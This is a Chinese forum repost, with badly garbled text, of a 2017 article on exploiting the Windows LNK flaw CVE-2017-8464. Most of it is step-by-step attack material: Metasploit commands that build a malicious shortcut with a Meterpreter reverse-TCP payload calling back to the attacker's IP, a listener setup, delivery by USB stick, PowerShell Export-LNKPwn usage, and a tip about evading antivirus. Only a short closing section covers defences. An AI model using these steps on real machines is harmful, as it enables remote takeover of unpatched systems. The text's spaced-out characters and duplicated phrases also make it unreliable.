搜索

[11630] 2017-08-06_“震网三代”（CVE-2017-8464）的几种利用方法与防范

文档创建者：s7ckTeam
浏览次数：20
最后更新：2025-01-18
2017-08-06_“震网三代”（CVE-2017-8464）的几种利用方法与防范 “ 震 网 三 代 ” （ C V E - 2 0 1 7 - 8 4 6 4 ） 的 几 种 利 用 方 法 与 防 范 h e y 你 的 拔 粪 宝   F r e e B u f   2 0 1 7 - 0 8 - 0 6 早 在 早 在 6 月 月 1 3 日 ， 微 软 发 布 补 丁 修 复 编 号 为 日 ， 微 软 发 布 补 丁 修 复 编 号 为 C V E - 2 0 1 7 - 8 4 6 4 的 漏 洞 ， 本 地 用 户 或 远 程 攻 击 者 可 以 利 用 该 漏 洞 生 成 的 漏 洞 ， 本 地 用 户 或 远 程 攻 击 者 可 以 利 用 该 漏 洞 生 成 特 制 的 快 捷 方 式 ， 并 通 过 可 移 动 设 备 或 者 远 程 共 享 的 方 式 导 致 远 程 代 码 执 行 ， 追 溯 到 以 前 ， 特 制 的 快 捷 方 式 ， 并 通 过 可 移 动 设 备 或 者 远 程 共 享 的 方 式 导 致 远 程 代 码 执 行 ， 追 溯 到 以 前 ， N S A 就 承 认 利 用 过 就 承 认 利 用 过 相 似 漏 洞 且 以 相 似 漏 洞 且 以 “ O l y m p i c   G a m e ” 为 代 号 研 发 震 网 病 毒 ， 来 阻 止 伊 朗 发 展 核 武 。 为 代 号 研 发 震 网 病 毒 ， 来 阻 止 伊 朗 发 展 核 武 。 C V E - 2 0 1 7 - 8 4 6 4 漏 洞 影 响 版 本 ： 漏 洞 影 响 版 本 ： W i n d o w s   7 W i n d o w s   8 . 1 W i n d o w s   R T   8 . 1 W i n d o w s   1 0 W i n d o w s   S e r v e r   2 0 0 8 W i n d o w s   S e r v e r   2 0 0 8   R 2 W i n d o w s   S e r v e r   2 0 1 2 W i n d o w s   S e r v e r   2 0 1 2   R 2 W i n d o w s   S e r v e r   2 0 1 6 利 用 利 用 1 ） 在 ） 在 M e t a s p l o i t - F r a m e w o r k 中 利 用 中 利 用 C V E - 2 0 1 7 - 8 4 6 4 1 . 首 先 下 载 最 新 的 z i p 包 【 点 此 下 载 】 ， 下 载 完 成 后 将 压 缩 包 内 m o d u l e s / e x p l o i t s / w i n d o w s / f i l e f o r m a t 中 的 c v e _ 2 0 1 7 _ 8 4 6 4 _ l n k _ r c e . r b 复 制 到 目 录 / u s r / s h a r e / m e t a s p l o i t - f r a m e w o r k / m o d u l e s / e x p l o i t s / w i n d o w s / f i l e f o r m a t 下 。 2 . 仅 复 制 r b 文 件 会 出 错 ， 须 再 将 压 缩 包 内 d a t a / e x p l o i t s 中 的 c v e - 2 0 1 7 - 8 4 6 4 文 件 夹 复 制 到 / u s r / s h a r e / m e t a s p l o i t - f r a m e w o r k / d a t a / e x p l o i t s 中 。 3 . 打 开 终 端 m s f c o n s o l e u s e   e x p l o i t / w i n d o w s / f i l e f o r m a t / c v e _ 2 0 1 7 _ 8 4 6 4 _ l n k _ r c e s e t   P A Y L O A D   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p s e t   L H O S T   [ 你 的 I P 地 址 ] e x p l o i t
之 后 / r o o t / . m s f 4 / l o c a l 中 就 会 生 成 我 们 想 要 的 文 件 了 ， 生 成 这 么 多 和 盘 符 有 关 ， 都 留 着 也 不 占 地 方 。 4 . 继 续 输 入 命 令 5 . 将 可 移 动 磁 盘 插 入 靶 机 中 ， 如 果 靶 机 开 启 了 自 动 播 放 ， 选 择 浏 览 文 件 时 即 可 回 弹 。 u s e   m u l t i / h a n d l e r s e t   p a y l a o d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p s e t   L H O S T   [ 你 的 I P 地 址 ] r u n
演 示 ： 演 示 ： * 2 ） ） P o w e r S h e l l 这 个 使 用 P o w e r s h e l l 的 方 法 并 非 先 前 网 络 上 流 传 的 C V E - 2 0 1 7 - 8 4 6 4 复 现 方 法 。 首 先 下 载 E x p o r t - L N K P w n . p s 1   < 点 击 阅 读 原 文 查 看 该 文 件 > 注 意 ： 注 意 ： - 需 要 4 . 0 或 以 上 . N E T 库 版 本 ， 作 者 使 用 了 一 些 只 有 P o w e r S h e l l   5 . 0 才 有 的 构 造 函 数 （ 如 n e w ( ) ） ， 他 打 算 将 版 本 要 求 降 低 到 . N E T   3 . 5   和 P o w e r S h e l l   2 . 0 ， 这 样 的 话 模 块 在 所 有 目 标 环 境 中 都 能 被 载 入 内 存 。
- 作 者 想 拓 展 函 数 ， 让 用 户 可 以 生 成 原 始 的 震 网 L N K   e x p （ C V E - 2 0 1 0 - 2 5 6 8 ） ， 并 解 决 绕 过 问 题 （ C V E - 2 0 1 5 - 0 0 9 6 ） . - 杀 毒 软 件 会 处 理 你 的 L N K ， 多 准 备 来 躲 避 检 测 ！ 参 数 说 明 ： 参 数 说 明 ： L N K O u t P a t h ： 本 地 保 存 L N K 文 件 的 全 路 径 。 T a r g e t C P L P a t h ： 本 地 / 远 程 目 标 c p l 的 全 路 径 。 T y p e ： 所 使 用 的 F o l d e r D a t a B l o c k 类 型 ， 有 “ S p e c i a l F o l d e r D a t a B l o c k ” 和 “ K n o w n F o l d e r D a t a B l o c k ” 两 种 。 使 用 示 例 ： 使 用 示 例 ： 演 示 视 频 ： 演 示 视 频 ： 3 ） ） P y t h o n 脚 本 脚 本 使 用 较 为 方 便 ， 点 击 阅 读 原 文 查 看 。 C ） 防 范 ） 防 范 1 . 及 时 打 上 相 应 补 丁 【 点 击 文 末 的 阅 读 原 文 查 看 详 情 】 2 . 关 闭 U S B 自 动 播 放 3 . 安 装 杀 毒 软 件 * 参 考 来 源 ： g i t h u b ， m e t a s p l o i t - f r a m e w o r k ， g i t h u b ， 转 载 请 注 明 来 自 F r e e B u f . C O M C : P S >   E x p o r t - L N K P w n   - L N K O u t P a t h   C : S o m e L o c a l P a t h . l n k   - T a r g e t C P L P a t h   C : T a r g e t C P L P a t h . c p l   - T y p e   S p e c i a l F o l d e r D a t a B l o c k C : P S >   E x p o r t - L N K P w n   - L N K O u t P a t h   C : S o m e L o c a l P a t h . l n k   - T a r g e t C P L P a t h   C : T a r g e t C P L P a t h . c p l   - T y p e   K n o w n F o l d e r D a t a B l o c k
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理